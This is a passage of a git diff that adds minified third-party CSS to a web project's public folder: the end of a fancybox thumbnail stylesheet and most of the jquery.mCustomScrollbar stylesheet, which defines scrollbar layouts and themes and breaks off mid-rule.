.fancybox-inner{right:212px}.fancybox-thumbs>ul{font-size:0;height:100%;list-style:none;margin:0;overflow-x:hidden;overflow-y:auto;padding:0;position:absolute;position:relative;white-space:nowrap;width:100%}.fancybox-thumbs-x>ul{overflow:hidden}.fancybox-thumbs-y>ul::-webkit-scrollbar{width:7px}.fancybox-thumbs-y>ul::-webkit-scrollbar-track{background:#fff;border-radius:10px;box-shadow:inset 0 0 6px rgba(0,0,0,.3)}.fancybox-thumbs-y>ul::-webkit-scrollbar-thumb{background:#2a2a2a;border-radius:10px}.fancybox-thumbs>ul>li{-webkit-backface-visibility:hidden;backface-visibility:hidden;cursor:pointer;float:left;height:75px;margin:2px;max-height:calc(100% - 8px);max-width:calc(50% - 4px);outline:none;overflow:hidden;padding:0;position:relative;-webkit-tap-highlight-color:transparent;width:100px}.fancybox-thumbs-loading{background:rgba(0,0,0,.1)}.fancybox-thumbs>ul>li{background-position:50%;background-repeat:no-repeat;background-size:cover}.fancybox-thumbs>ul>li:before{border:4px solid #4ea7f9;bottom:0;content:"";left:0;opacity:0;position:absolute;right:0;top:0;transition:all .2s cubic-bezier(.25,.46,.45,.94);z-index:99991}.fancybox-thumbs .fancybox-thumbs-active:before{opacity:1}@media (max-width:800px){.fancybox-thumbs{width:110px}.fancybox-show-thumbs .fancybox-inner{right:110px}.fancybox-thumbs>ul>li{max-width:calc(100% - 10px)}}
\ No newline at end of file
diff --git a/public/css/jquery.mCustomScrollbar.min.css b/public/css/jquery.mCustomScrollbar.min.css
new file mode 100644
index 0000000..6cd1177
--- /dev/null
+++ b/public/css/jquery.mCustomScrollbar.min.css
@@ -0,0 +1 @@
+.mCustomScrollbar{-ms-touch-action:pinch-zoom;touch-action:pinch-zoom}.mCustomScrollbar.mCS_no_scrollbar,.mCustomScrollbar.mCS_touch_action{-ms-touch-action:auto;touch-action:auto}.mCustomScrollBox{position:relative;overflow:hidden;height:100%;max-width:100%;outline:0;direction:ltr}.mCSB_container{overflow:hidden;width:auto;height:auto}.mCSB_inside>.mCSB_container{margin-right:30px}.mCSB_container.mCS_no_scrollbar_y.mCS_y_hidden{margin-right:0}.mCS-dir-rtl>.mCSB_inside>.mCSB_container{margin-right:0;margin-left:30px}.mCS-dir-rtl>.mCSB_inside>.mCSB_container.mCS_no_scrollbar_y.mCS_y_hidden{margin-left:0}.mCSB_scrollTools{position:absolute;width:16px;height:auto;left:auto;top:0;right:0;bottom:0;opacity:.75;filter:"alpha(opacity=75)";-ms-filter:"alpha(opacity=75)"}.mCSB_outside+.mCSB_scrollTools{right:-26px}.mCS-dir-rtl>.mCSB_inside>.mCSB_scrollTools,.mCS-dir-rtl>.mCSB_outside+.mCSB_scrollTools{right:auto;left:0}.mCS-dir-rtl>.mCSB_outside+.mCSB_scrollTools{left:-26px}.mCSB_scrollTools .mCSB_draggerContainer{position:absolute;top:0;left:0;bottom:0;right:0;height:auto}.mCSB_scrollTools a+.mCSB_draggerContainer{margin:20px 0}.mCSB_scrollTools .mCSB_draggerRail{width:2px;height:100%;margin:0 auto;-webkit-border-radius:16px;-moz-border-radius:16px;border-radius:16px}.mCSB_scrollTools .mCSB_dragger{cursor:pointer;width:100%;height:30px;z-index:1}.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{position:relative;width:4px;height:100%;margin:0 auto;-webkit-border-radius:16px;-moz-border-radius:16px;border-radius:16px;text-align:center}.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar{width:12px}.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail{width:8px}.mCSB_scrollTools .mCSB_buttonDown,.mCSB_scrollTools .mCSB_buttonUp{display:block;position:absolute;height:20px;width:100%;overflow:hidden;margin:0 auto;cursor:pointer}.mCSB_scrollTools .mCSB_buttonDown{bottom:0}.mCSB_horizontal.mCSB_inside>.mCSB_container{margin-right:0;margin-bottom:30px}.mCSB_horizontal.mCSB_outside>.mCSB_container{min-height:100%}.mCSB_horizontal>.mCSB_container.mCS_no_scrollbar_x.mCS_x_hidden{margin-bottom:0}.mCSB_scrollTools.mCSB_scrollTools_horizontal{width:auto;height:16px;top:auto;right:0;bottom:0;left:0}.mCustomScrollBox+.mCSB_scrollTools+.mCSB_scrollTools.mCSB_scrollTools_horizontal,.mCustomScrollBox+.mCSB_scrollTools.mCSB_scrollTools_horizontal{bottom:-26px}.mCSB_scrollTools.mCSB_scrollTools_horizontal a+.mCSB_draggerContainer{margin:0 20px}.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_draggerRail{width:100%;height:2px;margin:7px 0}.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_dragger{width:30px;height:100%;left:0}.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{width:100%;height:4px;margin:6px auto}.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar{height:12px;margin:2px auto}.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail{height:8px;margin:4px 0}.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_buttonLeft,.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_buttonRight{display:block;position:absolute;width:20px;height:100%;overflow:hidden;margin:0 auto;cursor:pointer}.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_buttonLeft{left:0}.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_buttonRight{right:0}.mCSB_container_wrapper{position:absolute;height:auto;width:auto;overflow:hidden;top:0;left:0;right:0;bottom:0;margin-right:30px;margin-bottom:30px}.mCSB_container_wrapper>.mCSB_container{padding-right:30px;padding-bottom:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.mCSB_vertical_horizontal>.mCSB_scrollTools.mCSB_scrollTools_vertical{bottom:20px}.mCSB_vertical_horizontal>.mCSB_scrollTools.mCSB_scrollTools_horizontal{right:20px}.mCSB_container_wrapper.mCS_no_scrollbar_x.mCS_x_hidden+.mCSB_scrollTools.mCSB_scrollTools_vertical{bottom:0}.mCS-dir-rtl>.mCustomScrollBox.mCSB_vertical_horizontal.mCSB_inside>.mCSB_scrollTools.mCSB_scrollTools_horizontal,.mCSB_container_wrapper.mCS_no_scrollbar_y.mCS_y_hidden+.mCSB_scrollTools~.mCSB_scrollTools.mCSB_scrollTools_horizontal{right:0}.mCS-dir-rtl>.mCustomScrollBox.mCSB_vertical_horizontal.mCSB_inside>.mCSB_scrollTools.mCSB_scrollTools_horizontal{left:20px}.mCS-dir-rtl>.mCustomScrollBox.mCSB_vertical_horizontal.mCSB_inside>.mCSB_container_wrapper.mCS_no_scrollbar_y.mCS_y_hidden+.mCSB_scrollTools~.mCSB_scrollTools.mCSB_scrollTools_horizontal{left:0}.mCS-dir-rtl>.mCSB_inside>.mCSB_container_wrapper{margin-right:0;margin-left:30px}.mCSB_container_wrapper.mCS_no_scrollbar_y.mCS_y_hidden>.mCSB_container{padding-right:0}.mCSB_container_wrapper.mCS_no_scrollbar_x.mCS_x_hidden>.mCSB_container{padding-bottom:0}.mCustomScrollBox.mCSB_vertical_horizontal.mCSB_inside>.mCSB_container_wrapper.mCS_no_scrollbar_y.mCS_y_hidden{margin-right:0;margin-left:0}.mCustomScrollBox.mCSB_vertical_horizontal.mCSB_inside>.mCSB_container_wrapper.mCS_no_scrollbar_x.mCS_x_hidden{margin-bottom:0}.mCSB_scrollTools,.mCSB_scrollTools .mCSB_buttonDown,.mCSB_scrollTools .mCSB_buttonLeft,.mCSB_scrollTools .mCSB_buttonRight,.mCSB_scrollTools .mCSB_buttonUp,.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{-webkit-transition:opacity .2s ease-in-out,background-color .2s ease-in-out;-moz-transition:opacity .2s ease-in-out,background-color .2s ease-in-out;-o-transition:opacity .2s ease-in-out,background-color .2s ease-in-out;transition:opacity .2s ease-in-out,background-color .2s ease-in-out}.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerRail,.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger_bar,.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerRail,.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger_bar{-webkit-transition:width .2s ease-out .2s,height .2s ease-out .2s,margin-left .2s ease-out .2s,margin-right .2s ease-out .2s,margin-top .2s ease-out .2s,margin-bottom .2s ease-out .2s,opacity .2s ease-in-out,background-color .2s ease-in-out;-moz-transition:width .2s ease-out .2s,height .2s ease-out .2s,margin-left .2s ease-out .2s,margin-right .2s ease-out .2s,margin-top .2s ease-out .2s,margin-bottom .2s ease-out .2s,opacity .2s ease-in-out,background-color .2s ease-in-out;-o-transition:width .2s ease-out .2s,height .2s ease-out .2s,margin-left .2s ease-out .2s,margin-right .2s ease-out .2s,margin-top .2s ease-out .2s,margin-bottom .2s ease-out .2s,opacity .2s ease-in-out,background-color .2s ease-in-out;transition:width .2s ease-out .2s,height .2s ease-out .2s,margin-left .2s ease-out .2s,margin-right .2s ease-out .2s,margin-top .2s ease-out .2s,margin-bottom .2s ease-out .2s,opacity .2s ease-in-out,background-color .2s ease-in-out}.mCS-autoHide>.mCustomScrollBox>.mCSB_scrollTools,.mCS-autoHide>.mCustomScrollBox~.mCSB_scrollTools{opacity:0;filter:"alpha(opacity=0)";-ms-filter:"alpha(opacity=0)"}.mCS-autoHide:hover>.mCustomScrollBox>.mCSB_scrollTools,.mCS-autoHide:hover>.mCustomScrollBox~.mCSB_scrollTools,.mCustomScrollBox:hover>.mCSB_scrollTools,.mCustomScrollBox:hover~.mCSB_scrollTools,.mCustomScrollbar>.mCustomScrollBox>.mCSB_scrollTools.mCSB_scrollTools_onDrag,.mCustomScrollbar>.mCustomScrollBox~.mCSB_scrollTools.mCSB_scrollTools_onDrag{opacity:1;filter:"alpha(opacity=100)";-ms-filter:"alpha(opacity=100)"}.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.4);filter:"alpha(opacity=40)";-ms-filter:"alpha(opacity=40)"}.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.75);filter:"alpha(opacity=75)";-ms-filter:"alpha(opacity=75)"}.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.85);filter:"alpha(opacity=85)";-ms-filter:"alpha(opacity=85)"}.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.9);filter:"alpha(opacity=90)";-ms-filter:"alpha(opacity=90)"}.mCSB_scrollTools .mCSB_buttonDown,.mCSB_scrollTools .mCSB_buttonLeft,.mCSB_scrollTools .mCSB_buttonRight,.mCSB_scrollTools .mCSB_buttonUp{background-image:url(mCSB_buttons.png);background-repeat:no-repeat;opacity:.4;filter:"alpha(opacity=40)";-ms-filter:"alpha(opacity=40)"}.mCSB_scrollTools .mCSB_buttonUp{background-position:0 0}.mCSB_scrollTools .mCSB_buttonDown{background-position:0 -20px}.mCSB_scrollTools .mCSB_buttonLeft{background-position:0 -40px}.mCSB_scrollTools .mCSB_buttonRight{background-position:0 -56px}.mCSB_scrollTools .mCSB_buttonDown:hover,.mCSB_scrollTools .mCSB_buttonLeft:hover,.mCSB_scrollTools .mCSB_buttonRight:hover,.mCSB_scrollTools .mCSB_buttonUp:hover{opacity:.75;filter:"alpha(opacity=75)";-ms-filter:"alpha(opacity=75)"}.mCSB_scrollTools .mCSB_buttonDown:active,.mCSB_scrollTools .mCSB_buttonLeft:active,.mCSB_scrollTools .mCSB_buttonRight:active,.mCSB_scrollTools .mCSB_buttonUp:active{opacity:.9;filter:"alpha(opacity=90)";-ms-filter:"alpha(opacity=90)"}.mCS-dark.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.15)}.mCS-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75)}.mCS-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:rgba(0,0,0,.85)}.mCS-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:rgba(0,0,0,.9)}.mCS-dark.mCSB_scrollTools .mCSB_buttonUp{background-position:-80px 0}.mCS-dark.mCSB_scrollTools .mCSB_buttonDown{background-position:-80px -20px}.mCS-dark.mCSB_scrollTools .mCSB_buttonLeft{background-position:-80px -40px}.mCS-dark.mCSB_scrollTools .mCSB_buttonRight{background-position:-80px -56px}.mCS-dark-2.mCSB_scrollTools .mCSB_draggerRail,.mCS-light-2.mCSB_scrollTools .mCSB_draggerRail{width:4px;background-color:#fff;background-color:rgba(255,255,255,.1);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px}.mCS-dark-2.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-light-2.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{width:4px;background-color:#fff;background-color:rgba(255,255,255,.75);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px}.mCS-dark-2.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-dark-2.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-light-2.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-light-2.mCSB_scrollTools_horizontal .mCSB_draggerRail{width:100%;height:4px;margin:6px auto}.mCS-light-2.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.85)}.mCS-light-2.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-light-2.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.9)}.mCS-light-2.mCSB_scrollTools .mCSB_buttonUp{background-position:-32px 0}.mCS-light-2.mCSB_scrollTools .mCSB_buttonDown{background-position:-32px -20px}.mCS-light-2.mCSB_scrollTools .mCSB_buttonLeft{background-position:-40px -40px}.mCS-light-2.mCSB_scrollTools .mCSB_buttonRight{background-position:-40px -56px}.mCS-dark-2.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.1);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px}.mCS-dark-2.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px}.mCS-dark-2.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.85)}.mCS-dark-2.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-dark-2.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.9)}.mCS-dark-2.mCSB_scrollTools .mCSB_buttonUp{background-position:-112px 0}.mCS-dark-2.mCSB_scrollTools .mCSB_buttonDown{background-position:-112px -20px}.mCS-dark-2.mCSB_scrollTools .mCSB_buttonLeft{background-position:-120px -40px}.mCS-dark-2.mCSB_scrollTools .mCSB_buttonRight{background-position:-120px -56px}.mCS-dark-thick.mCSB_scrollTools .mCSB_draggerRail,.mCS-light-thick.mCSB_scrollTools .mCSB_draggerRail{width:4px;background-color:#fff;background-color:rgba(255,255,255,.1);-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px}.mCS-dark-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-light-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{width:6px;background-color:#fff;background-color:rgba(255,255,255,.75);-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px}.mCS-dark-thick.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-light-thick.mCSB_scrollTools_horizontal .mCSB_draggerRail{width:100%;height:4px;margin:6px 0}.mCS-dark-thick.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-light-thick.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{width:100%;height:6px;margin:5px auto}.mCS-light-thick.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.85)}.mCS-light-thick.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-light-thick.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.9)}.mCS-light-thick.mCSB_scrollTools .mCSB_buttonUp{background-position:-16px 0}.mCS-light-thick.mCSB_scrollTools .mCSB_buttonDown{background-position:-16px -20px}.mCS-light-thick.mCSB_scrollTools .mCSB_buttonLeft{background-position:-20px -40px}.mCS-light-thick.mCSB_scrollTools .mCSB_buttonRight{background-position:-20px -56px}.mCS-dark-thick.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.1);-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px}.mCS-dark-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75);-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px}.mCS-dark-thick.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.85)}.mCS-dark-thick.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-dark-thick.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.9)}.mCS-dark-thick.mCSB_scrollTools .mCSB_buttonUp{background-position:-96px 0}.mCS-dark-thick.mCSB_scrollTools .mCSB_buttonDown{background-position:-96px -20px}.mCS-dark-thick.mCSB_scrollTools .mCSB_buttonLeft{background-position:-100px -40px}.mCS-dark-thick.mCSB_scrollTools .mCSB_buttonRight{background-position:-100px -56px}.mCS-light-thin.mCSB_scrollTools .mCSB_draggerRail{background-color:#fff;background-color:rgba(255,255,255,.1)}.mCS-dark-thin.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-light-thin.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{width:2px}.mCS-dark-thin.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-light-thin.mCSB_scrollTools_horizontal .mCSB_draggerRail{width:100%}.mCS-dark-thin.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-light-thin.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{width:100%;height:2px;margin:7px auto}.mCS-dark-thin.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.15)}.mCS-dark-thin.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75)}.mCS-dark-thin.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.85)}.mCS-dark-thin.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-dark-thin.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.9)}.mCS-dark-thin.mCSB_scrollTools .mCSB_buttonUp{background-position:-80px 0}.mCS-dark-thin.mCSB_scrollTools .mCSB_buttonDown{background-position:-80px -20px}.mCS-dark-thin.mCSB_scrollTools .mCSB_buttonLeft{background-position:-80px -40px}.mCS-dark-thin.mCSB_scrollTools .mCSB_buttonRight{background-position:-80px -56px}.mCS-rounded.mCSB_scrollTools .mCSB_draggerRail{background-color:#fff;background-color:rgba(255,255,255,.15)}.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger,.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger,.mCS-rounded-dots.mCSB_scrollTools .mCSB_dragger,.mCS-rounded.mCSB_scrollTools .mCSB_dragger{height:14px}.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded-dots.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{width:14px;margin:0 1px}.mCS-rounded-dark.mCSB_scrollTools_horizontal .mCSB_dragger,.mCS-rounded-dots-dark.mCSB_scrollTools_horizontal .mCSB_dragger,.mCS-rounded-dots.mCSB_scrollTools_horizontal .mCSB_dragger,.mCS-rounded.mCSB_scrollTools_horizontal .mCSB_dragger{width:14px}.mCS-rounded-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded-dots-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded-dots.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{height:14px;margin:1px 0}.mCS-rounded-dark.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,.mCS-rounded-dark.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,.mCS-rounded.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar{width:16px;height:16px;margin:-1px 0}.mCS-rounded-dark.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-rounded-dark.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail,.mCS-rounded.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-rounded.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail{width:4px}.mCS-rounded-dark.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,.mCS-rounded-dark.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,.mCS-rounded.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar{height:16px;width:16px;margin:0 -1px}.mCS-rounded-dark.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-rounded-dark.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail,.mCS-rounded.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-rounded.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail{height:4px;margin:6px 0}.mCS-rounded.mCSB_scrollTools .mCSB_buttonUp{background-position:0 -72px}.mCS-rounded.mCSB_scrollTools .mCSB_buttonDown{background-position:0 -92px}.mCS-rounded.mCSB_scrollTools .mCSB_buttonLeft{background-position:0 -112px}.mCS-rounded.mCSB_scrollTools .mCSB_buttonRight{background-position:0 -128px}.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75)}.mCS-rounded-dark.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.15)}.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar,.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.85)}.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.9)}.mCS-rounded-dark.mCSB_scrollTools .mCSB_buttonUp{background-position:-80px -72px}.mCS-rounded-dark.mCSB_scrollTools .mCSB_buttonDown{background-position:-80px -92px}.mCS-rounded-dark.mCSB_scrollTools .mCSB_buttonLeft{background-position:-80px -112px}.mCS-rounded-dark.mCSB_scrollTools .mCSB_buttonRight{background-position:-80px -128px}.mCS-rounded-dots-dark.mCSB_scrollTools_vertical .mCSB_draggerRail,.mCS-rounded-dots.mCSB_scrollTools_vertical .mCSB_draggerRail{width:4px}.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-rounded-dots-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-rounded-dots.mCSB_scrollTools .mCSB_draggerRail,.mCS-rounded-dots.mCSB_scrollTools_horizontal .mCSB_draggerRail{background-color:transparent;background-position:center}.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-rounded-dots.mCSB_scrollTools .mCSB_draggerRail{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAANElEQVQYV2NkIAAYiVbw//9/Y6DiM1ANJoyMjGdBbLgJQAX/kU0DKgDLkaQAvxW4HEvQFwCRcxIJK1XznAAAAABJRU5ErkJggg==);background-repeat:repeat-y;opacity:.3;filter:"alpha(opacity=30)";-ms-filter:"alpha(opacity=30)"}.mCS-rounded-dots-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-rounded-dots.mCSB_scrollTools_horizontal .mCSB_draggerRail{height:4px;margin:6px 0;background-repeat:repeat-x}.mCS-rounded-dots.mCSB_scrollTools .mCSB_buttonUp{background-position:-16px -72px}.mCS-rounded-dots.mCSB_scrollTools .mCSB_buttonDown{background-position:-16px -92px}.mCS-rounded-dots.mCSB_scrollTools .mCSB_buttonLeft{background-position:-20px -112px}.mCS-rounded-dots.mCSB_scrollTools .mCSB_buttonRight{background-position:-20px -128px}.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_draggerRail{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAALElEQVQYV2NkIAAYSVFgDFR8BqrBBEifBbGRTfiPZhpYjiQFBK3A6l6CvgAAE9kGCd1mvgEAAAAASUVORK5CYII=)}.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_buttonUp{background-position:-96px -72px}.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_buttonDown{background-position:-96px -92px}.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_buttonLeft{background-position:-100px -112px}.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_buttonRight{background-position:-100px -128px}.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-repeat:repeat-y;background-image:-moz-linear-gradient(left,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:-webkit-gradient(linear,left top,right 